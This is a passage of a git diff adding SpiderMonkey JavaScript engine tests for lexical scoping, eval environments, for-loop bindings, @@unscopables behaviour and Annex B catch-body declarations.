+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Don't attempt execution as a script if we can't properly emulate it. We
+// could perhaps use eval, but eval, while also doing global execution, is its
+// own can of messiness. Ongoing work on for-loop scoping for lexical
+// declarations will likely make these tests redundant with other tests to be
+// added, anyway, in the very short term.
+var executeGlobalScript = typeof evaluate === "function"
+ ? evaluate
+ : function(s) {};
+
+for (const a1 = 3; false; )
+ continue;
+
+Function(`for (const a2 = 3; false; )
+ continue;
+ `)();
+
+if (true)
+{
+ for (const a3 = 3; false; )
+ continue;
+}
+
+Function(`if (true)
+ {
+ for (const a4 = 3; false; )
+ continue;
+ }`)();
+
+executeGlobalScript(`for (const a5 of [])
+ continue;`);
+
+Function(`for (const a6 of [])
+ continue;`)();
+
+executeGlobalScript(`if (true)
+ {
+ for (const a7 of [])
+ continue;
+ }`);
+
+Function(`if (true)
+ {
+ for (const a8 of [])
+ continue;
+ }`)();
+
+executeGlobalScript(`for (const a9 in {})
+ continue;`);
+
+Function(`for (const a10 in {})
+ continue;`)();
+
+executeGlobalScript(`if (true)
+ {
+ for (const a11 in {})
+ continue;
+ }`);
+
+Function(`if (true)
+ {
+ for (const a12 in {})
+ continue;
+ }`)();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/lexical-environment/eval-has-lexical-environment.js b/js/src/tests/non262/lexical-environment/eval-has-lexical-environment.js
new file mode 100644
index 0000000000..16ffb06d19
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/eval-has-lexical-environment.js
@@ -0,0 +1,45 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "eval-has-lexical-environment.js"
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1193583;
+var summary =
+ "Eval always has a lexical environment";
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+eval(`
+let foo = 42;
+const kay = foo;
+var bar = 84;
+function f() {
+ return foo + kay;
+}
+ `);
+
+(1, eval)(`
+let foo2 = 42;
+const kay2 = foo2;
+`);
+
+// Lexical declarations should not have escaped eval.
+assertEq(typeof foo, "undefined");
+assertEq(typeof kay, "undefined");
+assertEq(typeof foo2, "undefined");
+assertEq(typeof kay2, "undefined");
+
+// Eval'd functions can close over lexical bindings.
+assertEq(f(), 84);
+
+// Var can escape direct eval.
+assertEq(bar, 84);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/lexical-environment/eval-nondefinable-function.js b/js/src/tests/non262/lexical-environment/eval-nondefinable-function.js
new file mode 100644
index 0000000000..bd5dcf7978
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/eval-nondefinable-function.js
@@ -0,0 +1,10 @@
+try {
+ eval("var shouldNotBeDefined1; function NaN(){}; var shouldNotBeDefined2;");
+} catch (e) {
+}
+
+assertEq(Object.getOwnPropertyDescriptor(this, 'shouldNotBeDefined2'), undefined);
+assertEq(Object.getOwnPropertyDescriptor(this, 'shouldNotBeDefined1'), undefined);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/for-loop-with-bindings-added-at-runtime.js b/js/src/tests/non262/lexical-environment/for-loop-with-bindings-added-at-runtime.js
new file mode 100644
index 0000000000..f6abf3d0cd
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/for-loop-with-bindings-added-at-runtime.js
@@ -0,0 +1,125 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-loop-with-bindings-added-at-runtime.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1149797;
+var summary =
+ "Don't assert when freshening the scope chain for a for-loop whose head " +
+ "contains a lexical declaration, where the loop body might add more " +
+ "bindings at runtime";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+for (let x = 0; x < 9; ++x)
+ eval("var y");
+
+{
+ for (let x = 0; x < 9; ++x)
+ eval("var y");
+}
+
+function f1()
+{
+ for (let x = 0; x < 9; ++x)
+ eval("var y");
+}
+f1();
+
+function f2()
+{
+ {
+ for (let x = 0; x < 9; ++x)
+ eval("var y");
+ }
+}
+f2();
+
+for (let x = 0; x < 9; ++x)
+{
+ // deliberately inside a block statement
+ eval("var y");
+}
+
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ eval("var y");
+ }
+}
+
+function g1()
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ eval("var y");
+ }
+}
+g1();
+
+function g2()
+{
+ {
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ eval("var y");
+ }
+ }
+}
+g2();
+
+for (let x = 0; x < 9; ++x) {
+ (function() {
+ eval("var y");
+ })();
+}
+
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ (function() {
+ eval("var y");
+ })();
+ }
+}
+
+function h1()
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ (function() {
+ eval("var y");
+ })();
+ }
+}
+h1();
+
+function h2()
+{
+ {
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ (function() { eval("var y"); })();
+ }
+ }
+}
+h2();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/lexical-environment/for-loop.js b/js/src/tests/non262/lexical-environment/for-loop.js
new file mode 100644
index 0000000000..60e3799d62
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/for-loop.js
@@ -0,0 +1,121 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-loop.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 985733;
+var summary =
+ "ES6 for-loop semantics for for(;;) loops whose heads contain lexical "
+ "declarations";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function isError(code, type)
+{
+ try
+ {
+ Function(code);
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof type, true,
+ "unexpected error for `" + code + "`: got " + e);
+ }
+}
+
+function isOK(code)
+{
+ Function(code);
+}
+
+isError("for (const x; ; ) ;", SyntaxError);
+isError("for (const x = 5, y; ; ) ;", SyntaxError);
+isError("for (const [z]; ; ) ;", SyntaxError);
+//isError("for (const [z, z]; ; ) ;", SyntaxError);
+//isError("for (const [z, z] = [0, 1]; ; ) ;", SyntaxError);
+
+isOK("for (let x; ; ) ;");
+isOK("for (let x = 5, y; ; ) ;");
+
+// I'm fairly sure this is supposed to work: the negative-lookahead rules in
+// IterationStatement ensure that |for (let| *always* is a loop header starting
+// with a lexical declaration. But I'm not 100% certain, so these tests might
+// need to be fixed when we implement the negative-lookahead restrictions.
+isOK("for (let [z] = [3]; ; ) ;");
+isError("for (let [z, z]; ; ) ;", SyntaxError); // because missing initializer
+
+isError("for (let [z, z] = [0, 1]; ; ) ;", SyntaxError);
+
+// A for-loop with lexical declarations, with a mixture of bindings that are and
+// aren't aliased. (The mixture stress-tests any code that incorrectly assumes
+// all bindings are aliased.)
+var funcs = [];
+for (let [i, j, k] = [0, 1, 2]; i < 10; i++)
+ funcs.push(() => i);
+
+assertEq(funcs[0](), 0);
+assertEq(funcs[1](), 1);
+assertEq(funcs[2](), 2);
+assertEq(funcs[3](), 3);
+assertEq(funcs[4](), 4);
+assertEq(funcs[5](), 5);
+assertEq(funcs[6](), 6);
+assertEq(funcs[7](), 7);
+assertEq(funcs[8](), 8);
+assertEq(funcs[9](), 9);
+
+var outer = "OUTER V IGNORE";
+var save;
+for (let outer = (save = function() { return outer; }); ; )
+ break;
+assertEq(save(), save);
+
+var funcs = [];
+function t(i, name, expect)
+{
+ assertEq(funcs[i].name, name);
+ assertEq(funcs[i](), expect);
+}
+
+if (save() !== "OUTER V IGNORE")
+{
+ var v = "OUTER V IGNORE";
+ var i = 0;
+ for (let v = (funcs.push(function init() { return v; }),
+ 0);
+ v = (funcs.push(function test() { return v; }),
+ v + 1);
+ v = (funcs.push(function incr() { return v; }),
+ v + 1))
+ {
+ v = (funcs.push(function body() { return v; }),
+ v + 1);
+ i++;
+ if (i >= 3)
+ break;
+ }
+ t(0, "init", 0);
+ t(1, "test", 2);
+ t(2, "body", 2);
+ t(3, "incr", 5);
+ t(4, "test", 5);
+ t(5, "body", 5);
+ t(6, "incr", 8);
+ t(7, "test", 8);
+ t(8, "body", 8);
+ assertEq(funcs.length, 9);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/lexical-environment/implicit-this-in-with.js b/js/src/tests/non262/lexical-environment/implicit-this-in-with.js
new file mode 100644
index 0000000000..7c112e2447
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/implicit-this-in-with.js
@@ -0,0 +1,18 @@
+// Test that callees that resolve to bindings on the global object or the
+// global lexical environment get an 'undefined' this inside with scopes.
+
+let g = function () { "use strict"; assertEq(this, undefined); }
+function f() { "use strict"; assertEq(this, undefined); }
+
+with ({}) {
+ // f is resolved on the global object
+ f();
+ // g is resolved on the global lexical environment
+ g();
+}
+
+f();
+g();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/nondefinable-function-same-script.js b/js/src/tests/non262/lexical-environment/nondefinable-function-same-script.js
new file mode 100644
index 0000000000..5d569fe4a0
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/nondefinable-function-same-script.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+function assertEvaluateAndIndirectEvalThrows(str) {
+ assertThrowsInstanceOf(() => evaluate(str), TypeError);
+ assertThrowsInstanceOf(() => (1,eval)(str), TypeError);
+}
+
+// Regular vars
+assertEvaluateAndIndirectEvalThrows(`var NaN; function NaN() {}`);
+
+// for-of vars
+assertEvaluateAndIndirectEvalThrows(`for (var NaN of []); function NaN() {}`);
+
+// Annex B.3.3 synthesized vars
+assertEvaluateAndIndirectEvalThrows(`{ function NaN() {} } function NaN() {}`);
+
+// Non-data properties
+Object.defineProperty(this, 'foo', { set: function() {} });
+assertEvaluateAndIndirectEvalThrows(`var foo; function foo() {}`);
+assertEvaluateAndIndirectEvalThrows(`for (var foo of []); function foo() {}`);
+assertEvaluateAndIndirectEvalThrows(`{ function foo() {} } function foo() {}`);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/redeclaring-global-properties.js b/js/src/tests/non262/lexical-environment/redeclaring-global-properties.js
new file mode 100644
index 0000000000..7fb2f82db1
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/redeclaring-global-properties.js
@@ -0,0 +1,64 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs evaluate
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Attempting to lexically redefine a var is a syntax error.
+evaluate("var a;");
+assertThrowsInstanceOf(() => evaluate("let a;"), SyntaxError);
+
+// Attempting to lexically redefine a configurable global property that's not a
+// var is okay.
+this.b = 42;
+assertEq(b, 42);
+evaluate("let b = 17;");
+assertEq(b, 17);
+
+// Attempting to lexically redefine a configurable global property that wasn't
+// a var initially but was later declared as one, isn't okay.
+this.c = 8675309;
+assertEq(c, 8675309);
+evaluate("var c;");
+assertThrowsInstanceOf(() => evaluate("let c;"), SyntaxError);
+
+// Attempting to lexically redefine a var added by eval code isn't okay.
+assertEq(typeof d, "undefined");
+eval("var d = 33;");
+assertEq(d, 33);
+assertThrowsInstanceOf(() => evaluate("let d;"), SyntaxError);
+
+// Attempting to lexically redefine a var added by eval code, then deleted *as a
+// name*, is okay. (The |var| will add the name to the global environment
+// record's [[VarNames]], but deletion will go through the global environment
+// record's DeleteBinding and so will remove it.)
+assertEq(typeof e, "undefined");
+eval("var e = 'ohia';");
+assertEq(e, "ohia");
+delete e;
+assertEq(this.hasOwnProperty("e"), false);
+evaluate("let e = 3.141592654;");
+assertEq(e, 3.141592654);
+
+// Attempting to lexically redefine a var added by eval code, then deleted *as a
+// property*, isn't okay. (Deletion by property doesn't go through the global
+// environment record's DeleteBinding algorithm, and so the name isn't removed
+// from [[VarNames]].) And it remains non-okay even if the var is subsequently
+// deleted as a name, because if the property doesn't exist, it's not removed
+// from [[VarNames]]. But if we add the global property again and then delete
+// by name, it *will* get removed from [[VarNames]].
+assertEq(typeof f, "undefined");
+eval("var f = 8675309;");
+assertEq(f, 8675309);
+delete this.f;
+assertEq(this.hasOwnProperty("f"), false);
+assertThrowsInstanceOf(() => evaluate("let f;"), SyntaxError);
+delete f;
+assertThrowsInstanceOf(() => evaluate("let f;"), SyntaxError);
+this.f = 999;
+assertThrowsInstanceOf(() => evaluate("let f;"), SyntaxError);
+delete f;
+evaluate("let f;");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/lexical-environment/shell.js b/js/src/tests/non262/lexical-environment/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/shell.js
diff --git a/js/src/tests/non262/lexical-environment/unscopables-basics.js b/js/src/tests/non262/lexical-environment/unscopables-basics.js
new file mode 100644
index 0000000000..4032b27746
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-basics.js
@@ -0,0 +1,22 @@
+// Basics of @@unscopables support.
+
+// In with(obj), if obj[@@unscopables][id] is truthy, then the identifier id
+// is not present as a binding in the with-block's scope.
+var x = "global";
+with ({x: "with", [Symbol.unscopables]: {x: true}})
+ assertEq(x, "global");
+
+// But if obj[@@unscopables][id] is false or not present, there is a binding.
+with ({y: "with", z: "with", [Symbol.unscopables]: {y: false}}) {
+ assertEq(y, "with");
+ assertEq(z, "with");
+}
+
+// ToBoolean(obj[@@unscopables][id]) determines whether there's a binding.
+let someValues = [0, -0, NaN, "", undefined, null, "x", {}, []];
+for (let v of someValues) {
+ with ({x: "with", [Symbol.unscopables]: {x: v}})
+ assertEq(x, v ? "global" : "with");
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-closures.js b/js/src/tests/non262/lexical-environment/unscopables-closures.js
new file mode 100644
index 0000000000..bdade1f113
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-closures.js
@@ -0,0 +1,23 @@
+// @@unscopables continues to work after exiting the relevant `with` block,
+// if the environment is captured by a closure.
+
+let env = {
+ x: 9000,
+ [Symbol.unscopables]: {x: true}
+};
+
+function make_adder(x) {
+ with (env)
+ return function (y) { return x + y; };
+}
+assertEq(make_adder(3)(10), 13);
+
+// Same test, but with a bunch of different parts for bad luck
+let x = 500;
+function make_adder_with_eval() {
+ with (env)
+ return eval('y => eval("x + y")');
+}
+assertEq(make_adder_with_eval()(10), 510);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-const.js b/js/src/tests/non262/lexical-environment/unscopables-const.js
new file mode 100644
index 0000000000..7e1d0e07c6
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-const.js
@@ -0,0 +1,8 @@
+// @@unscopables prevents a property from having any effect on assigning to a
+// const binding (which is an error).
+
+const x = 1;
+with ({x: 1, [Symbol.unscopables]: {x: true}})
+ assertThrowsInstanceOf(() => {x = 2;}, TypeError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-delete.js b/js/src/tests/non262/lexical-environment/unscopables-delete.js
new file mode 100644
index 0000000000..3cd296f4b9
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-delete.js
@@ -0,0 +1,27 @@
+// If obj[@@unscopables][id], then `delete id` works across `with (obj)` scope.
+
+this.niche = 7;
+let obj = { niche: 8, [Symbol.unscopables]: { niche: true } };
+with (obj) {
+ delete niche;
+}
+
+assertEq(obj.niche, 8);
+assertEq("niche" in this, false);
+
+// Same thing, but delete a variable introduced by sloppy direct eval.
+this.niche = 9;
+function f() {
+ eval("var niche = 10;");
+ with (obj) {
+ assertEq(niche, 10);
+ delete niche;
+ }
+ assertEq(niche, 9);
+}
+
+// Of course none of this affects a qualified delete.
+assertEq(delete this.niche, true);
+assertEq("niche" in this, false);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-getters.js b/js/src/tests/non262/lexical-environment/unscopables-getters.js
new file mode 100644
index 0000000000..1360787983
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-getters.js
@@ -0,0 +1,41 @@
+// @@unscopables checks can call getters.
+
+// The @@unscopables property itself can be a getter.
+let hit1 = 0;
+let x = "global x";
+let env1 = {
+ x: "env1.x",
+ get [Symbol.unscopables]() {
+ hit1++;
+ return {x: true};
+ }
+};
+with (env1)
+ assertEq(x, "global x");
+assertEq(hit1, 1);
+
+// It can throw; the exception is propagated out.
+function Fit() {}
+with ({x: 0, get [Symbol.unscopables]() { throw new Fit; }})
+ assertThrowsInstanceOf(() => x, Fit);
+
+// Individual properties on the @@unscopables object can have getters.
+let hit2 = 0;
+let env2 = {
+ x: "env2.x",
+ [Symbol.unscopables]: {
+ get x() {
+ hit2++;
+ return true;
+ }
+ }
+};
+with (env2)
+ assertEq(x, "global x");
+assertEq(hit2, 1);
+
+// And they can throw.
+with ({x: 0, [Symbol.unscopables]: {get x() { throw new Fit; }}})
+ assertThrowsInstanceOf(() => x, Fit);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-global.js b/js/src/tests/non262/lexical-environment/unscopables-global.js
new file mode 100644
index 0000000000..1aa4a52bda
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-global.js
@@ -0,0 +1,18 @@
+// @@unscopables does not affect the global environment.
+
+this.x = "global property x";
+let y = "global lexical y";
+this[Symbol.unscopables] = {x: true, y: true};
+assertEq(x, "global property x");
+assertEq(y, "global lexical y");
+assertEq(eval("x"), "global property x");
+assertEq(eval("y"), "global lexical y");
+
+// But it does affect `with` statements targeting the global object.
+{
+ let x = "local x";
+ with (this)
+ assertEq(x, "local x");
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-ignored.js b/js/src/tests/non262/lexical-environment/unscopables-ignored.js
new file mode 100644
index 0000000000..08b042a3b5
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-ignored.js
@@ -0,0 +1,22 @@
+// In these cases, @@unscopables should not be consulted.
+
+// Because obj has no properties `assertEq` or `x`,
+// obj[@@unscopables] is not checked here:
+var obj = {
+ get [Symbol.unscopables]() {
+ throw "tried to read @@unscopables";
+ }
+};
+var x = 3;
+with (obj)
+ assertEq(x, 3);
+
+// If @@unscopables is present but not an object, it is ignored:
+for (let nonObject of [undefined, null, "nothing", Symbol.for("moon")]) {
+ let y = 4;
+ let obj2 = {[Symbol.unscopables]: nonObject, y: 5};
+ with (obj2)
+ assertEq(y, 5);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-miss.js b/js/src/tests/non262/lexical-environment/unscopables-miss.js
new file mode 100644
index 0000000000..b86d510787
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-miss.js
@@ -0,0 +1,7 @@
+// Trying to access a binding that doesn't exist due to @@unscopables
+// is a ReferenceError.
+
+with ({x: 1, [Symbol.unscopables]: {x: true}})
+ assertThrowsInstanceOf(() => x, ReferenceError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-mutation-frozen.js b/js/src/tests/non262/lexical-environment/unscopables-mutation-frozen.js
new file mode 100644
index 0000000000..632785c05a
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-mutation-frozen.js
@@ -0,0 +1,18 @@
+// When env[@@unscopables].x changes, bindings can appear even if env is inextensible.
+
+let x = "global";
+let unscopables = {x: true};
+let env = Object.create(null);
+env[Symbol.unscopables] = unscopables;
+env.x = "object";
+Object.freeze(env);
+
+for (let i = 0; i < 1004; i++) {
+ if (i === 1000)
+ unscopables.x = false;
+ with (env) {
+ assertEq(x, i < 1000 ? "global" : "object");
+ }
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-mutation.js b/js/src/tests/non262/lexical-environment/unscopables-mutation.js
new file mode 100644
index 0000000000..2f35e1dd3c
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-mutation.js
@@ -0,0 +1,44 @@
+// When obj[@@unscopables].x changes, bindings appear and disappear accordingly.
+
+let x = "global";
+function getX() { return x; }
+
+let unscopables = {x: true};
+let obj = {x: "obj", [Symbol.unscopables]: unscopables};
+
+with (obj) {
+ assertEq(x, "global");
+ x = "global-1";
+ assertEq(x, "global-1");
+ assertEq(obj.x, "obj");
+
+ unscopables.x = false; // suddenly x appears in the with-environment
+
+ assertEq(x, "obj");
+ x = "obj-1";
+ assertEq(getX(), "global-1"); // unchanged
+ assertEq(obj.x, "obj-1");
+
+ unscopables.x = true; // *poof*
+
+ assertEq(x, "global-1");
+ x = "global-2";
+ assertEq(getX(), "global-2");
+ assertEq(obj.x, "obj-1"); // unchanged
+
+ // The determination of which binding is assigned happens when the LHS of
+ // assignment is evaluated, before the RHS. This is observable if we make
+ // the binding appear or disappear during evaluation of the RHS, before
+ // assigning.
+ x = (unscopables.x = false, "global-3");
+ assertEq(getX(), "global-3");
+ assertEq(obj.x, "obj-1");
+
+ x = (unscopables.x = true, "obj-2");
+ assertEq(getX(), "global-3");
+ assertEq(obj.x, "obj-2");
+}
+
+assertEq(x, "global-3");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-proto.js b/js/src/tests/non262/lexical-environment/unscopables-proto.js
new file mode 100644
index 0000000000..dbbfb712d3
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-proto.js
@@ -0,0 +1,39 @@
+// @@unscopables treats properties found on prototype chains the same as other
+// properties.
+
+const x = "global x";
+const y = "global y";
+
+// obj[@@unscopables].x works when obj.x is inherited via the prototype chain.
+let proto = {x: "object x", y: "object y"};
+let env = Object.create(proto);
+env[Symbol.unscopables] = {x: true, y: false};
+with (env) {
+ assertEq(x, "global x");
+ assertEq(delete x, false);
+ assertEq(y, "object y");
+}
+assertEq(env.x, "object x");
+
+// @@unscopables works if is inherited via the prototype chain.
+env = {
+ x: "object",
+ [Symbol.unscopables]: {x: true, y: true}
+};
+for (let i = 0; i < 50; i++)
+ env = Object.create(env);
+env.y = 1;
+with (env) {
+ assertEq(x, "global x");
+ assertEq(y, "global y");
+}
+
+// @@unscopables works if the obj[@@unscopables][id] property is inherited.
+env = {
+ x: "object",
+ [Symbol.unscopables]: Object.create({x: true})
+};
+with (env)
+ assertEq(x, "global x");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-proxy.js b/js/src/tests/non262/lexical-environment/unscopables-proxy.js
new file mode 100644
index 0000000000..fcf241ee46
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-proxy.js
@@ -0,0 +1,46 @@
+// Object operations are performed in the right order, as observed by proxies.
+
+let log = [];
+function LoggingProxyHandlerWrapper(name, handler={}) {
+ return new Proxy(handler, {
+ get(t, id) {
+ let method = handler[id];
+ return function (...args) {
+ log.push([name + "." + id, ...args.filter(v => typeof v !== "object")]);
+ if (method === undefined)
+ return Reflect[id].apply(null, args);
+ return method.apply(this, args);
+ };
+ }
+ });
+}
+
+function LoggingProxy(name, target) {
+ return new Proxy(target, new LoggingProxyHandlerWrapper(name));
+}
+
+let proto = {x: 44};
+let proto_proxy = new LoggingProxy("proto", proto);
+let unscopables = {x: true};
+let unscopables_proxy = new LoggingProxy("unscopables", {x: true});
+let env = Object.create(proto_proxy, {
+ [Symbol.unscopables]: { value: unscopables_proxy }
+});
+let env_proxy = new LoggingProxy("env", env);
+
+let x = 11;
+function f() {
+ with (env_proxy)
+ return x;
+}
+
+assertEq(f(), 11);
+
+assertDeepEq(log, [
+ ["env.has", "x"],
+ ["proto.has", "x"],
+ ["env.get", Symbol.unscopables],
+ ["unscopables.get", "x"]
+]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-strict.js b/js/src/tests/non262/lexical-environment/unscopables-strict.js
new file mode 100644
index 0000000000..fd0413ed7b
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-strict.js
@@ -0,0 +1,32 @@
+// Strict assignment to the name of a property that's masked by @@unscopables
+// throws a ReferenceError.
+
+let env = {k: 1};
+let f;
+with (env) {
+ f = function () {
+ "use strict";
+ k = 2;
+ };
+}
+
+f();
+assertEq(env.k, 2);
+
+env[Symbol.unscopables] = {k: true};
+assertThrowsInstanceOf(f, ReferenceError);
+
+// @@unscopables is tested when the LHS of assignment is evaluated, so there is
+// no effect on the assignment if it is changed while evaluating the RHS.
+let g;
+with (env) {
+ g = function () {
+ "use strict";
+ k = (env[Symbol.unscopables].k = true, 3);
+ }
+}
+env[Symbol.unscopables].k = false;
+g();
+assertEq(env.k, 3);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-tdz.js b/js/src/tests/non262/lexical-environment/unscopables-tdz.js
new file mode 100644
index 0000000000..ce6b1df929
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-tdz.js
@@ -0,0 +1,9 @@
+// Accessing an uninitialized variable due to @@unscopables is still a ReferenceError.
+
+with ({x: 1, [Symbol.unscopables]: {x: true}})
+ assertThrowsInstanceOf(() => x, ReferenceError);
+
+let x;
+
+reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval-destructuring.js b/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval-destructuring.js
new file mode 100644
index 0000000000..06174013e8
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval-destructuring.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+assertThrowsInstanceOf(() => evaluate(`try { throw {} } catch ({e}) { var e; }`), SyntaxError);
+assertThrowsInstanceOf(() => evaluate(`try { throw {} } catch ({e}) { eval('var e'); }`), SyntaxError);
+
+assertThrowsInstanceOf(() => new Function(`try { throw {} } catch ({e}) { var e; }`), SyntaxError);
+assertThrowsInstanceOf(new Function(`try { throw {} } catch ({e}) { eval('var e'); }`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval-for-of.js b/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval-for-of.js
new file mode 100644
index 0000000000..b433b68b6e
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval-for-of.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+evaluate(`
+ try { throw null; } catch (e) { eval("for (var e of []) {}") }
+`);
+
+new Function(`
+ try { throw null; } catch (e) { eval("for (var e of []) {}") }
+`)();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval.js b/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval.js
new file mode 100644
index 0000000000..e380846e25
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval.js
@@ -0,0 +1,21 @@
+// Tests annex B.3.5 that introduces a var via direct eval.
+
+var x = "global-x";
+var log = "";
+
+// Tests that direct eval works.
+function g() {
+ try { throw 8; } catch (x) {
+ eval("var x = 42;");
+ log += x;
+ }
+ x = "g";
+ log += x;
+}
+g();
+
+assertEq(x, "global-x");
+assertEq(log, "42g");
+
+if ("reportCompare" in this)
+ reportCompare(true, true)
diff --git a/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b.js b/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b.js
new file mode 100644
index 0000000000..6e6a24f213
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b.js
@@ -0,0 +1,114 @@
+// Tests annex B.3.5.
+
+assertThrowsInstanceOf(function () {
+ eval(`
+ function f() {
+ let x;
+ try {} catch (x) {
+ var x;
+ }
+ }
+ `);
+}, SyntaxError);
+
+assertThrowsInstanceOf(function () {
+ eval(`
+ function f() {
+ try {} catch (x) {
+ let y;
+ var y;
+ }
+ }
+ `);
+}, SyntaxError);
+
+assertThrowsInstanceOf(function () {
+ eval(`
+ function f() {
+ try {} catch (x) {
+ let x;
+ }
+ }
+ `);
+}, SyntaxError);
+
+assertThrowsInstanceOf(function () {
+ eval(`
+ function f() {
+ try {} catch (x) {
+ const x;
+ }
+ }
+ `);
+}, SyntaxError);
+
+// Tests that redeclaring a var inside the catch is not allowed if there's a
+// body-level lexical.
+assertThrowsInstanceOf(function () {
+ eval(`
+ let x;
+ try {} catch (x) {
+ var x;
+ }
+ `);
+}, SyntaxError);
+
+var log = '';
+var x = 'global-x';
+
+function g() {
+ x = 'g';
+ try { throw 8; } catch (x) {
+ var x = 42;
+ log += x;
+ }
+ log += x;
+}
+g();
+
+// Tests that var declaration is allowed in for-in head.
+function h0() {
+ try {} catch (e) {
+ for (var e in {});
+ }
+}
+h0();
+
